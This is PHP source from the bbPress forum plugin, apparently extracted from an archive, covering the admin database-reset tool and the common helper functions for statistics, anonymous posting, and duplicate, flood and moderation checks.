							</fieldset>
						</td>
					</tr>
					<tr valign="top">
						<th scope="row"><?php esc_html_e( 'Do you really want to do this?', 'bbpress' ); ?></th>
						<td>
							<fieldset>
								<legend class="screen-reader-text"><span><?php esc_html_e( "Say it ain't so!", 'bbpress' ); ?></span></legend>
								<label><input type="checkbox" class="checkbox" name="bbpress-are-you-sure" id="bbpress-are-you-sure" value="1" /> <?php esc_html_e( 'This process cannot be undone.', 'bbpress' ); ?></label>
								<p class="description"><?php esc_html_e( 'Backup your database before proceeding.', 'bbpress' ); ?></p>
							</fieldset>
						</td>
					</tr>
				</tbody>
			</table>

			<fieldset class="submit">
				<input class="button-primary" type="submit" name="submit" value="<?php esc_attr_e( 'Reset bbPress', 'bbpress' ); ?>" />
				<?php wp_nonce_field( 'bbpress-reset' ); ?>
			</fieldset>
		</form>
	</div>

<?php
}

/**
 * Handle a bbPress admin area reset request.
 *
 * @since 2.0.0 bbPress (r2613)
 */
function bbp_admin_reset_handler() {

	// Bail if not resetting.
	if ( ! bbp_is_post_request() || empty( $_POST['bbpress-are-you-sure'] ) ) {
		return;
	}

	// Only keymasters can proceed.
	if ( ! bbp_is_user_keymaster() ) {
		return;
	}

	// Bail if not referred from resetter
	check_admin_referer( 'bbpress-reset' );

	// Reset all of bbPress
	bbp_admin_reset_database();
}

/**
 * Wrapper for determining admin reset query feedback presented to a user.
 *
 * @since 2.6.0 bbPress (r6758)
 *
 * @param array $args Array of query, message, and possible responses
 *
 * @return string
 */
function bbp_admin_reset_query_feedback( $args = array() ) {
	static $defaults = null;

	// Only set defaults one time to avoid hitting the GetText API repeatedly
	if ( null === $defaults ) {
		$defaults = array(
			'query'     => '',
			'message'   => esc_html__( 'Resetting&hellip;', 'bbpress' ),
			'responses' => array(
				'success' => esc_html__( 'Success!', 'bbpress' ),
				'failure' => esc_html__( 'Failed!',  'bbpress' ),
				'skipped' => esc_html__( 'Skipped.', 'bbpress' )
			)
		);
	}

	// Parse arguments
	$r = bbp_parse_args( $args, $defaults, 'admin_reset_query_feedback' );

	// Success/Failure based on query error
	if ( ! empty( $r['query'] ) ) {
		$query  = bbp_db()->query( $r['query'] );
		$result = ! is_wp_error( $query )
			? $r['responses']['success']
			: $r['responses']['failure'];

	// Skip if empty
	} else {
		$result = $r['responses']['skipped'];
	}

	// Return feedback
	return sprintf( $r['message'], $result );
}

/**
 * Perform a bbPress database reset.
 *
 * @since 2.6.0 bbPress
 */
function bbp_admin_reset_database() {

	// Define variables.
	$messages = array();
	$sql_meta = array();
	$bbp_db   = bbp_db();

	// Flush the whole cache; things are about to get ugly.
	wp_cache_flush();

	/** Posts *****************************************************************/

	// Post types and status.
	$fpt = bbp_get_forum_post_type();
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();

	// Get post IDs
	$sql_posts = $bbp_db->get_results( "SELECT `ID` FROM `{$bbp_db->posts}` WHERE `post_type` IN ('{$fpt}', '{$tpt}', '{$rpt}')", OBJECT_K );
	if ( ! empty( $sql_posts ) ) {

		// Meta data
		foreach ( $sql_posts as $key => $value ) {
			$sql_meta[] = $key;
		}
		$sql_meta = implode( "', '", $sql_meta );

		// Delete posts
		$messages[] = bbp_admin_reset_query_feedback( array(
			'query'   => "DELETE FROM `{$bbp_db->posts}` WHERE `post_type` IN ('{$fpt}', '{$tpt}', '{$rpt}')",
			'message' => esc_html__( 'Removing Forums, Topics, and Replies&hellip; %s', 'bbpress' )
		) );

		/** Post Meta *********************************************************/

		if ( ! empty( $sql_posts ) ) {
			$messages[] = bbp_admin_reset_query_feedback( array(
				'query'   => "DELETE FROM `{$bbp_db->postmeta}` WHERE `post_id` IN ('{$sql_meta}')",
				'message' => esc_html__( 'Removing Forum, Topic, and Reply Meta Data&hellip; %s', 'bbpress' )
			) );
		}

		/** Post Revisions ****************************************************/

		if ( ! empty( $sql_posts ) ) {
			$messages[] = bbp_admin_reset_query_feedback( array(
				'query'   => "DELETE FROM `{$bbp_db->posts}` WHERE `post_parent` IN ('{$sql_meta}') AND `post_type` = 'revision'",
				'message' => esc_html__( 'Removing Revision Data&hellip; %s', 'bbpress' )
			) );
		}
	}

	/** Topic Tags ************************************************************/

	$messages[] = bbp_admin_reset_query_feedback( array(
		'query'   => "DELETE a,b,c FROM `{$bbp_db->terms}` AS a LEFT JOIN `{$bbp_db->term_taxonomy}` AS c ON a.term_id = c.term_id LEFT JOIN `{$bbp_db->term_relationships}` AS b ON b.term_taxonomy_id = c.term_taxonomy_id WHERE c.taxonomy = 'topic-tag'",
		'message' => esc_html__( 'Deleting Topic Tags&hellip; %s', 'bbpress' )
	) );

	/** User ******************************************************************/

	// First, if we're deleting previously imported users, delete them now
	if ( ! empty( $_POST['bbpress-delete-imported-users'] ) ) {
		$sql_users = $bbp_db->get_results( "SELECT `user_id` FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '_bbp_old_user_id'", OBJECT_K );

		if ( ! empty( $sql_users ) ) {
			$sql_meta = array();
			foreach ( $sql_users as $key => $value ) {
				$sql_meta[] = $key;
			}

			// Users
			$sql_meta   = implode( "', '", $sql_meta );
			$messages[] = bbp_admin_reset_query_feedback( array(
				'query'   => "DELETE FROM `{$bbp_db->users}` WHERE `ID` IN ('{$sql_meta}')",
				'message' => esc_html__( 'Deleting Imported Users&hellip; %s', 'bbpress' )
			) );

			// User meta
			$messages[] = bbp_admin_reset_query_feedback( array(
				'query'   => "DELETE FROM `{$bbp_db->usermeta}` WHERE `user_id` IN ('{$sql_meta}')",
				'message' => esc_html__( 'Deleting Imported User Meta&hellip; %s', 'bbpress' )
			) );
		}
	}

	// Next, if we still have users that were not imported delete that meta data
	$messages[] = bbp_admin_reset_query_feedback( array(
		'query'   => "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` LIKE '%%_bbp_%%'",
		'message' => esc_html__( 'Deleting bbPress Specific User Meta&hellip; %s', 'bbpress' )
	) );

	/** Converter *************************************************************/

	$table_name = $bbp_db->prefix . 'bbp_converter_translator';
	if ( $bbp_db->get_var( "SHOW TABLES LIKE '{$table_name}'" ) === $table_name ) {
		$messages[] = bbp_admin_reset_query_feedback( array(
			'query'   => "DROP TABLE {$table_name}",
			'message' => esc_html__( 'Dropping Conversion Table&hellip; %s', 'bbpress' )
		) );
	}

	/** Options ***************************************************************/

	bbp_delete_options();
	$messages[] = esc_html__( 'Deleting Settings&hellip; Success!', 'bbpress' );

	/** Roles *****************************************************************/

	bbp_remove_roles();
	bbp_remove_caps();
	$messages[] = esc_html__( 'Removing Roles and Capabilities&hellip; Success!', 'bbpress' );

	/** Output ****************************************************************/

	if ( count( $messages ) ) {
		foreach ( $messages as $message ) {
			bbp_admin_tools_feedback( $message );
		}
	}
}
includes/common/functions.php000066600000227165151771460310012411 0ustar00<?php

/**
 * bbPress Common Functions
 *
 * Common functions are ones that are used by more than one component, like
 * forums, topics, replies, users, topic tags, etc...
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Return array of bbPress registered post types
 *
 * @since 2.6.0 bbPress (r6813)
 *
 * @param array $args Array of arguments to pass into `get_post_types()`
 *
 * @return array
 */
function bbp_get_post_types( $args = array() ) {

	// Parse args
	$r = bbp_parse_args( $args, array(
		'source' => 'bbpress'
	), 'get_post_types' );

	// Return post types
	return get_post_types( $r );
}

/** URLs **********************************************************************/

/**
 * Return the unescaped redirect_to request value
 *
 * @bbPress (r4655)
 *
 * @return string The URL to redirect to, if set
 */
function bbp_get_redirect_to() {

	// Check 'redirect_to' request parameter
	$retval = ! empty( $_REQUEST['redirect_to'] )
		? $_REQUEST['redirect_to']
		: '';

	// Filter & return
	return apply_filters( 'bbp_get_redirect_to', $retval );
}

/**
 * Append 'view=all' to query string if it's already there from referer
 *
 * @since 2.0.0 bbPress (r3325)
 *
 * @param string $original_link Original Link to be modified
 * @param bool $force Override bbp_get_view_all() check
 * @return string The link with 'view=all' appended if necessary
 */
function bbp_add_view_all( $original_link = '', $force = false ) {

	// Are we appending the view=all vars?
	$link = ( bbp_get_view_all() || ! empty( $force ) )
		? add_query_arg( array( 'view' => 'all' ), $original_link )
		: $original_link;

	// Filter & return
	return apply_filters( 'bbp_add_view_all', $link, $original_link );
}

/**
 * Remove 'view=all' from query string
 *
 * @since 2.0.0 bbPress (r3325)
 *
 * @param string $original_link Original Link to be modified
 * @return string The link with 'view=all' appended if necessary
 */
function bbp_remove_view_all( $original_link = '' ) {

	// Remove `view' argument
	$link = remove_query_arg( 'view', $original_link );

	// Filter & return
	return apply_filters( 'bbp_remove_view_all', $link, $original_link );
}

/**
 * If current user can and is viewing all topics/replies
 *
 * @since 2.0.0 bbPress (r3325)
 *
 * @param string $cap Capability used to ensure user can view all
 *
 * @return bool Whether current user can and is viewing all
 */
function bbp_get_view_all( $cap = 'moderate' ) {
	$retval = ( ( ! empty( $_GET['view'] ) && ( 'all' === $_GET['view'] ) && current_user_can( $cap ) ) );

	// Filter & return
	return (bool) apply_filters( 'bbp_get_view_all', (bool) $retval, $cap );
}

/**
 * Assist pagination by returning correct page number
 *
 * @since 2.0.0 bbPress (r2628)
 *
 * @return int Current page number
 */
function bbp_get_paged() {
	$wp_query = bbp_get_wp_query();

	// Check the query var
	if ( get_query_var( 'paged' ) ) {
		$paged = get_query_var( 'paged' );

	// Check query paged
	} elseif ( ! empty( $wp_query->query['paged'] ) ) {
		$paged = $wp_query->query['paged'];
	}

	// Paged found
	if ( ! empty( $paged ) ) {
		return (int) $paged;
	}

	// Default to first page
	return 1;
}

/** Misc **********************************************************************/

/**
 * Return the unique non-empty values of an array.
 *
 * @since 2.6.0 bbPress (r6481)
 *
 * @param array $array Array to get values of
 *
 * @return array
 */
function bbp_get_unique_array_values( $array = array() ) {
	return array_unique( array_filter( array_values( $array ) ) );
}

/**
 * Fix post author id on post save
 *
 * When a logged in user changes the status of an anonymous reply or topic, or
 * edits it, the post_author field is set to the logged in user's id. This
 * function fixes that.
 *
 * @since 2.0.0 bbPress (r2734)
 *
 * @param array $data Post data
 * @param array $postarr Original post array (includes post id)
 * @return array Data
 */
function bbp_fix_post_author( $data = array(), $postarr = array() ) {

	// Post is not being updated or the post_author is already 0, return
	if ( empty( $postarr['ID'] ) || empty( $data['post_author'] ) ) {
		return $data;
	}

	// Post is not a topic or reply, return
	if ( ! in_array( $data['post_type'], array( bbp_get_topic_post_type(), bbp_get_reply_post_type() ), true ) ) {
		return $data;
	}

	// Is the post by an anonymous user?
	if ( ( bbp_get_topic_post_type() === $data['post_type'] && ! bbp_is_topic_anonymous( $postarr['ID'] ) ) ||
	     ( bbp_get_reply_post_type() === $data['post_type'] && ! bbp_is_reply_anonymous( $postarr['ID'] ) ) ) {
		return $data;
	}

	// The post is being updated. It is a topic or a reply and is written by an anonymous user.
	// Set the post_author back to 0
	$data['post_author'] = 0;

	return $data;
}

/**
 * Check a date against the length of time something can be edited.
 *
 * It is recommended to leave $utc set to true and to work with UTC/GMT dates.
 * Turning this off will use the WordPress offset which is likely undesirable.
 *
 * @since 2.0.0 bbPress (r3133)
 * @since 2.6.0 bbPress (r6868) Inverted some logic and added unit tests
 *
 * @param string  $datetime Gets run through strtotime()
 * @param boolean $utc      Default true. Is the timestamp in UTC?
 *
 * @return bool True by default, if date is past, or editing is disabled.
 */
function bbp_past_edit_lock( $datetime = '', $utc = true ) {

	// Default value
	$retval = true;

	// Check if date and editing is allowed
	if ( bbp_allow_content_edit() ) {

		// Get number of minutes to allow editing for
		$minutes = bbp_get_edit_lock();

		// 0 minutes means forever, so can never be past edit-lock time
		if ( 0 === $minutes ) {
			$retval = false;

		// Checking against a specific datetime
		} elseif ( ! empty( $datetime ) ) {

			// Period of time
			$lockable = "+{$minutes} minutes";
			if ( true === $utc ) {
				$lockable .= " UTC";
			}

			// Now
			$cur_time  = current_time( 'timestamp', $utc );

			// Get the duration in seconds
			$duration  = strtotime( $lockable ) - $cur_time;

			// Diff the times down to seconds
			$lock_time = strtotime( $lockable, $cur_time );
			$past_time = strtotime( $datetime, $cur_time );
			$diff_time = ( $lock_time - $past_time ) - $duration;

			// Check if less than lock time
			if ( $diff_time < $duration ) {
				$retval = false;
			}
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_past_edit_lock', $retval, $datetime, $utc );
}

/**
 * Get number of days something should remain trashed for before it is cleaned
 * up by WordPress Cron. If set to 0, items will skip trash and be deleted
 * immediately.
 *
 * @since 2.6.0 bbPress (r6424)
 *
 * @param string $context Provide context for additional filtering
 * @return int Number of days items remain in trash
 */
function bbp_get_trash_days( $context = 'forum' ) {

	// Sanitize the context
	$context = sanitize_key( $context );

	// Check the WordPress constant
	$days    = defined( 'EMPTY_TRASH_DAYS' )
		? (int) EMPTY_TRASH_DAYS
		: 30;

	// Filter & return
	return (int) apply_filters( 'bbp_get_trash_days', $days, $context );
}

/** Statistics ****************************************************************/

/**
 * Get the forum statistics
 *
 * @since 2.0.0 bbPress (r2769)
 * @since 2.6.0 bbPress (r6055) Introduced the `count_pending_topics` and
 *                               `count_pending_replies` arguments.
 *
 * @param array $args Optional. The function supports these arguments (all
 *                     default to true):
 *  - count_users: Count users?
 *  - count_forums: Count forums?
 *  - count_topics: Count topics? If set to false, private, spammed and trashed
 *                   topics are also not counted.
 *  - count_pending_topics: Count pending topics? (only counted if the current
 *                           user has edit_others_topics cap)
 *  - count_private_topics: Count private topics? (only counted if the current
 *                           user has read_private_topics cap)
 *  - count_spammed_topics: Count spammed topics? (only counted if the current
 *                           user has edit_others_topics cap)
 *  - count_trashed_topics: Count trashed topics? (only counted if the current
 *                           user has view_trash cap)
 *  - count_replies: Count replies? If set to false, private, spammed and
 *                   trashed replies are also not counted.
 *  - count_pending_replies: Count pending replies? (only counted if the current
 *                           user has edit_others_replies cap)
 *  - count_private_replies: Count private replies? (only counted if the current
 *                           user has read_private_replies cap)
 *  - count_spammed_replies: Count spammed replies? (only counted if the current
 *                           user has edit_others_replies cap)
 *  - count_trashed_replies: Count trashed replies? (only counted if the current
 *                           user has view_trash cap)
 *  - count_tags: Count tags? If set to false, empty tags are also not counted
 *  - count_empty_tags: Count empty tags?
 * @return object Walked forum tree
 */
function bbp_get_statistics( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(

		// Users
		'count_users'           => true,

		// Forums
		'count_forums'          => true,

		// Topics
		'count_topics'          => true,
		'count_pending_topics'  => true,
		'count_private_topics'  => true,
		'count_spammed_topics'  => true,
		'count_trashed_topics'  => true,

		// Replies
		'count_replies'         => true,
		'count_pending_replies' => true,
		'count_private_replies' => true,
		'count_spammed_replies' => true,
		'count_trashed_replies' => true,

		// Topic tags
		'count_tags'            => true,
		'count_empty_tags'      => true

	), 'get_statistics' );

	// Defaults
	$topic_count     = $topic_count_hidden    = 0;
	$reply_count     = $reply_count_hidden    = 0;
	$topic_tag_count = $empty_topic_tag_count = 0;
	$hidden_topic_title = $hidden_reply_title = '';

	// Users
	$user_count = ! empty( $r['count_users'] )
		? bbp_get_total_users()
		: 0;

	// Forums
	$forum_count = ! empty( $r['count_forums'] )
		? wp_count_posts( bbp_get_forum_post_type() )->publish
		: 0;

	// Post statuses
	$pending = bbp_get_pending_status_id();
	$private = bbp_get_private_status_id();
	$spam    = bbp_get_spam_status_id();
	$trash   = bbp_get_trash_status_id();
	$closed  = bbp_get_closed_status_id();

	// Topics
	if ( ! empty( $r['count_topics'] ) ) {
		$all_topics  = wp_count_posts( bbp_get_topic_post_type() );

		// Published (publish + closed)
		$topic_count = $all_topics->publish + $all_topics->{$closed};

		if ( current_user_can( 'read_private_topics' ) || current_user_can( 'edit_others_topics' ) || current_user_can( 'view_trash' ) ) {

			// Declare empty arrays
			$topics = $topic_titles = array();

			// Pending
			$topics['pending'] = ( ! empty( $r['count_pending_topics'] ) && current_user_can( 'edit_others_topics' ) )
				? (int) $all_topics->{$pending}
				: 0;

			// Private
			$topics['private'] = ( ! empty( $r['count_private_topics'] ) && current_user_can( 'read_private_topics' ) )
				? (int) $all_topics->{$private}
				: 0;

			// Spam
			$topics['spammed'] = ( ! empty( $r['count_spammed_topics'] ) && current_user_can( 'edit_others_topics'  ) )
				? (int) $all_topics->{$spam}
				: 0;

			// Trash
			$topics['trashed'] = ( ! empty( $r['count_trashed_topics'] ) && current_user_can( 'view_trash' ) )
				? (int) $all_topics->{$trash}
				: 0;

			// Total hidden (pending + private + spam + trash)
			$topic_count_hidden = $topics['pending'] + $topics['private'] + $topics['spammed'] + $topics['trashed'];

			// Generate the hidden topic count's title attribute
			$topic_titles[] = ! empty( $topics['pending'] )
				? sprintf( esc_html__( 'Pending: %s', 'bbpress' ), bbp_number_format_i18n( $topics['pending'] ) )
				: '';

			$topic_titles[] = ! empty( $topics['private'] )
				? ''//sprintf( esc_html__( 'Private: %s', 'bbpress' ), bbp_number_format_i18n( $topics['private'] ) )
				: '';

			$topic_titles[] = ! empty( $topics['spammed'] )
				? sprintf( esc_html__( 'Spammed: %s', 'bbpress' ), bbp_number_format_i18n( $topics['spammed'] ) )
				: '';

			$topic_titles[] = ! empty( $topics['trashed'] )
				? sprintf( esc_html__( 'Trashed: %s', 'bbpress' ), bbp_number_format_i18n( $topics['trashed'] ) )
				: '';

			// Compile the hidden topic title
			$hidden_topic_title = implode( ' | ', array_filter( $topic_titles ) );
		}
	}

	// Replies
	if ( ! empty( $r['count_replies'] ) ) {

		$all_replies = wp_count_posts( bbp_get_reply_post_type() );

		// Published
		$reply_count = $all_replies->publish;

		if ( current_user_can( 'read_private_replies' ) || current_user_can( 'edit_others_replies' ) || current_user_can( 'view_trash' ) ) {

			// Declare empty arrays
			$replies = $reply_titles = array();

			// Pending
			$replies['pending'] = ( ! empty( $r['count_pending_replies'] ) && current_user_can( 'edit_others_replies' ) )
				? (int) $all_replies->{$pending}
				: 0;

			// Private
			$replies['private'] = ( ! empty( $r['count_private_replies'] ) && current_user_can( 'read_private_replies' ) )
				? (int) $all_replies->{$private}
				: 0;

			// Spam
			$replies['spammed'] = ( ! empty( $r['count_spammed_replies'] ) && current_user_can( 'edit_others_replies'  ) )
				? (int) $all_replies->{$spam}
				: 0;

			// Trash
			$replies['trashed'] = ( ! empty( $r['count_trashed_replies'] ) && current_user_can( 'view_trash' ) )
				? (int) $all_replies->{$trash}
				: 0;

			// Total hidden (pending + private + spam + trash)
			$reply_count_hidden = $replies['pending'] + $replies['private'] + $replies['spammed'] + $replies['trashed'];

			// Generate the hidden topic count's title attribute
			$reply_titles[] = ! empty( $replies['pending'] )
				? sprintf( esc_html__( 'Pending: %s', 'bbpress' ), bbp_number_format_i18n( $replies['pending'] ) )
				: '';

			$reply_titles[] = ! empty( $replies['private'] )
				? sprintf( esc_html__( 'Private: %s', 'bbpress' ), bbp_number_format_i18n( $replies['private'] ) )
				: '';

			$reply_titles[] = ! empty( $replies['spammed'] )
				? sprintf( esc_html__( 'Spammed: %s', 'bbpress' ), bbp_number_format_i18n( $replies['spammed'] ) )
				: '';

			$reply_titles[] = ! empty( $replies['trashed'] )
				? sprintf( esc_html__( 'Trashed: %s', 'bbpress' ), bbp_number_format_i18n( $replies['trashed'] ) )
				: '';

			// Compile the hidden replies title
			$hidden_reply_title = implode( ' | ', array_filter( $reply_titles ) );
		}
	}

	// Topic Tags
	if ( ! empty( $r['count_tags'] ) && bbp_allow_topic_tags() ) {

		// Get the count
		$topic_tag_count = wp_count_terms( bbp_get_topic_tag_tax_id(), array( 'hide_empty' => true ) );

		// Empty tags
		if ( ! empty( $r['count_empty_tags'] ) && current_user_can( 'edit_topic_tags' ) ) {
			$empty_topic_tag_count = wp_count_terms( bbp_get_topic_tag_tax_id() ) - $topic_tag_count;
		}
	}

	// Tally the tallies
	$counts = array_filter( array_map( 'absint', compact(
		'user_count',
		'forum_count',
		'topic_count',
		'topic_count_hidden',
		'reply_count',
		'reply_count_hidden',
		'topic_tag_count',
		'empty_topic_tag_count'
	) ) );

	// Define return value
	$statistics = array();

	// Loop through and store the integer and i18n formatted counts.
	foreach ( $counts as $key => $count ) {
		$statistics[ $key ]         = bbp_number_format_i18n( $count );
		$statistics[ "{$key}_int" ] = $count;
	}

	// Add the hidden (topic/reply) count title attribute strings because we
	// don't need to run the math functions on these (see above)
	$statistics['hidden_topic_title'] = $hidden_topic_title;
	$statistics['hidden_reply_title'] = $hidden_reply_title;

	// Filter & return
	return (array) apply_filters( 'bbp_get_statistics', $statistics, $r, $args );
}

/** New/edit topic/reply helpers **********************************************/

/**
 * Filter anonymous post data
 *
 * We use REMOTE_ADDR here directly. If you are behind a proxy, you should
 * ensure that it is properly set, such as in wp-config.php, for your
 * environment. See {@link https://core.trac.wordpress.org/ticket/9235}
 *
 * Note that bbp_pre_anonymous_filters() is responsible for sanitizing each
 * of the filtered core anonymous values here.
 *
 * If there are any errors, those are directly added to {@link bbPress:errors}
 *
 * @since 2.0.0 bbPress (r2734)
 *
 * @param array $args Optional. If no args are there, then $_POST values are
 * @return bool|array False on errors, values in an array on success
 */
function bbp_filter_anonymous_post_data( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'bbp_anonymous_name'    => ! empty( $_POST['bbp_anonymous_name']    ) ? $_POST['bbp_anonymous_name']    : false,
		'bbp_anonymous_email'   => ! empty( $_POST['bbp_anonymous_email']   ) ? $_POST['bbp_anonymous_email']   : false,
		'bbp_anonymous_website' => ! empty( $_POST['bbp_anonymous_website'] ) ? $_POST['bbp_anonymous_website'] : false,
	), 'filter_anonymous_post_data' );

	// Strip invalid characters
	$r = bbp_sanitize_anonymous_post_author( $r );

	// Filter name
	$r['bbp_anonymous_name'] = apply_filters( 'bbp_pre_anonymous_post_author_name', $r['bbp_anonymous_name'] );
	if ( empty( $r['bbp_anonymous_name'] ) ) {
		bbp_add_error( 'bbp_anonymous_name',  __( '<strong>Error</strong>: Invalid author name.', 'bbpress' ) );
	}

	// Filter email address
	$r['bbp_anonymous_email'] = apply_filters( 'bbp_pre_anonymous_post_author_email', $r['bbp_anonymous_email'] );
	if ( empty( $r['bbp_anonymous_email'] ) ) {
		bbp_add_error( 'bbp_anonymous_email', __( '<strong>Error</strong>: Invalid email address.', 'bbpress' ) );
	}

	// Website is optional (can be empty)
	$r['bbp_anonymous_website'] = apply_filters( 'bbp_pre_anonymous_post_author_website', $r['bbp_anonymous_website'] );

	// Filter & return
	return (array) apply_filters( 'bbp_filter_anonymous_post_data', $r, $args );
}

/**
 * Sanitize an array of anonymous post author data
 *
 * @since 2.6.0 bbPress (r6400)
 *
 * @param array $anonymous_data
 * @return array
 */
function bbp_sanitize_anonymous_post_author( $anonymous_data = array() ) {

	// Make sure anonymous data is an array
	if ( ! is_array( $anonymous_data ) ) {
		$anonymous_data = array();
	}

	// Map meta data to comment fields (as guides for stripping invalid text)
	$fields = array(
		'bbp_anonymous_name'    => 'comment_author',
		'bbp_anonymous_email'   => 'comment_author_email',
		'bbp_anonymous_website' => 'comment_author_url'
	);

	// Setup a new return array
	$r = $anonymous_data;

	// Get the database
	$bbp_db = bbp_db();

	// Strip invalid text from fields
	foreach ( $fields as $bbp_field => $comment_field ) {
		if ( ! empty( $r[ $bbp_field ] ) ) {
			$r[ $bbp_field ] = $bbp_db->strip_invalid_text_for_column( $bbp_db->comments, $comment_field, $r[ $bbp_field ] );
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_sanitize_anonymous_post_author', $r, $anonymous_data );
}

/**
 * Update the relevant meta-data for an anonymous post author
 *
 * @since 2.6.0 bbPress (r6400)
 *
 * @param int    $post_id
 * @param array  $anonymous_data
 * @param string $post_type
 */
function bbp_update_anonymous_post_author( $post_id = 0, $anonymous_data = array(), $post_type = '' ) {

	// Maybe look for anonymous
	if ( empty( $anonymous_data ) ) {
		$anonymous_data = bbp_filter_anonymous_post_data();
	}

	// Sanitize parameters
	$post_id   = (int) $post_id;
	$post_type = sanitize_key( $post_type );

	// Bail if missing required data
	if ( empty( $post_id ) || empty( $post_type ) || empty( $anonymous_data ) ) {
		return;
	}

	// Parse arguments against default values
	$r = bbp_parse_args( $anonymous_data, array(
		'bbp_anonymous_name'    => '',
		'bbp_anonymous_email'   => '',
		'bbp_anonymous_website' => '',
	), "update_{$post_type}" );

	// Update all anonymous metas
	foreach ( $r as $anon_key => $anon_value ) {

		// Update, or delete if empty
		! empty( $anon_value )
			? update_post_meta( $post_id, '_' . $anon_key, (string) $anon_value, false )
			: delete_post_meta( $post_id, '_' . $anon_key );
	}
}

/**
 * Check for duplicate topics/replies
 *
 * Check to make sure that a user is not making a duplicate post
 *
 * @since 2.0.0 bbPress (r2763)
 *
 * @param array $post_data Contains information about the comment
 * @return bool True if it is not a duplicate, false if it is
 */
function bbp_check_for_duplicate( $post_data = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $post_data, array(
		'post_author'    => 0,
		'post_type'      => array( bbp_get_topic_post_type(), bbp_get_reply_post_type() ),
		'post_parent'    => 0,
		'post_content'   => '',
		'post_status'    => bbp_get_trash_status_id(),
		'anonymous_data' => array()
	), 'check_for_duplicate' );

	// No duplicate checks for those who can throttle
	if ( user_can( (int) $r['post_author'], 'throttle' ) ) {
		return true;
	}

	// Get the DB
	$bbp_db = bbp_db();

	// Default clauses
	$join = $where = '';

	// Check for anonymous post
	if ( empty( $r['post_author'] ) && ( ! empty( $r['anonymous_data'] ) && ! empty( $r['anonymous_data']['bbp_anonymous_email'] ) ) ) {

		// Sanitize the email address for querying
		$email = sanitize_email( $r['anonymous_data']['bbp_anonymous_email'] );

		// Only proceed
		if ( ! empty( $email ) && is_email( $email ) ) {

			// Get the meta SQL
			$clauses = get_meta_sql( array( array(
				'key'   => '_bbp_anonymous_email',
				'value' => $email,
			) ), 'post', $bbp_db->posts, 'ID' );

			// Set clauses
			$join  = $clauses['join'];

			// "'", "%", "$" and are valid characters in email addresses
			$where = $bbp_db->remove_placeholder_escape( $clauses['where'] );
		}
	}

	// Unslash $r to pass through DB->prepare()
	//
	// @see: https://bbpress.trac.wordpress.org/ticket/2185/
	// @see: https://core.trac.wordpress.org/changeset/23973/
	$r = wp_unslash( $r );

	// Prepare duplicate check query
	$query  = "SELECT ID FROM {$bbp_db->posts} {$join}";
	$query .= $bbp_db->prepare( "WHERE post_type = %s AND post_status != %s AND post_author = %d AND post_content = %s", $r['post_type'], $r['post_status'], $r['post_author'], $r['post_content'] );
	$query .= ! empty( $r['post_parent'] )
		? $bbp_db->prepare( " AND post_parent = %d", $r['post_parent'] )
		: '';
	$query .= $where;
	$query .= " LIMIT 1";
	$dupe   = apply_filters( 'bbp_check_for_duplicate_query', $query, $r );

	// Dupe found
	if ( $bbp_db->get_var( $dupe ) ) {
		do_action( 'bbp_check_for_duplicate_trigger', $post_data );
		return false;
	}

	// Dupe not found
	return true;
}

/**
 * Check for flooding
 *
 * Check to make sure that a user is not making too many posts in a short amount
 * of time.
 *
 * @since 2.0.0 bbPress (r2734)
 *
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $author_id Optional. Supply if it's a post by a logged in user.
 *                        Do not supply if supplying $anonymous_data.
 * @return bool True if there is no flooding, false if there is
 */
function bbp_check_for_flood( $anonymous_data = array(), $author_id = 0 ) {

	// Allow for flood check to be skipped
	if ( apply_filters( 'bbp_bypass_check_for_flood', false, $anonymous_data, $author_id ) ) {
		return true;
	}

	// Option disabled. No flood checks.
	$throttle_time = get_option( '_bbp_throttle_time' );
	if ( empty( $throttle_time ) || ! bbp_allow_content_throttle() ) {
		return true;
	}

	// User is anonymous, so check a transient based on the IP
	if ( ! empty( $anonymous_data ) ) {
		$last_posted = get_transient( '_bbp_' . bbp_current_author_ip() . '_last_posted' );

		if ( ! empty( $last_posted ) && ( time() < ( $last_posted + $throttle_time ) ) ) {
			return false;
		}

	// User is logged in, so check their last posted time
	} elseif ( ! empty( $author_id ) ) {
		$author_id   = (int) $author_id;
		$last_posted = bbp_get_user_last_posted( $author_id );

		if ( ! empty( $last_posted ) && ( time() < ( $last_posted + $throttle_time ) ) && ! user_can( $author_id, 'throttle' ) ) {
			return false;
		}
	} else {
		return false;
	}

	return true;
}

/**
 * Checks topics and replies against the discussion moderation of blocked keys
 *
 * @since 2.1.0 bbPress (r3581)
 *
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $author_id Topic or reply author ID
 * @param string $title The title of the content
 * @param string $content The content being posted
 * @param mixed  $strict  False for moderation_keys. True for blacklist_keys.
 *                        String for custom keys.
 * @return bool True if test is passed, false if fail
 */
function bbp_check_for_moderation( $anonymous_data = array(), $author_id = 0, $title = '', $content = '', $strict = false ) {

	// Custom moderation option key
	if ( is_string( $strict ) ) {
		$strict = sanitize_key( $strict );

		// Use custom key
		if ( ! empty( $strict ) ) {
			$hook_name   = $strict;
			$option_name = "{$strict}_keys";

		// Key was invalid, so default to moderation keys
		} else {
			$strict = false;
		}
	}

	// Strict mode uses WordPress "blacklist" settings
	if ( true === $strict ) {
		$hook_name   = 'blacklist';
		$option_name = 'blacklist_keys';

	// Non-strict uses WordPress "moderation" settings
	} elseif ( false === $strict ) {
		$hook_name   = 'moderation';
		$option_name = 'moderation_keys';
	}

	// Allow for moderation check to be skipped
	if ( apply_filters( "bbp_bypass_check_for_{$hook_name}", false, $anonymous_data, $author_id, $title, $content, $strict ) ) {
		return true;
	}

	// Maybe perform some author-specific capability checks
	if ( ! empty( $author_id ) ) {

		// Bail if user is a keymaster
		if ( bbp_is_user_keymaster( $author_id ) ) {
			return true;

		// Bail if user can moderate
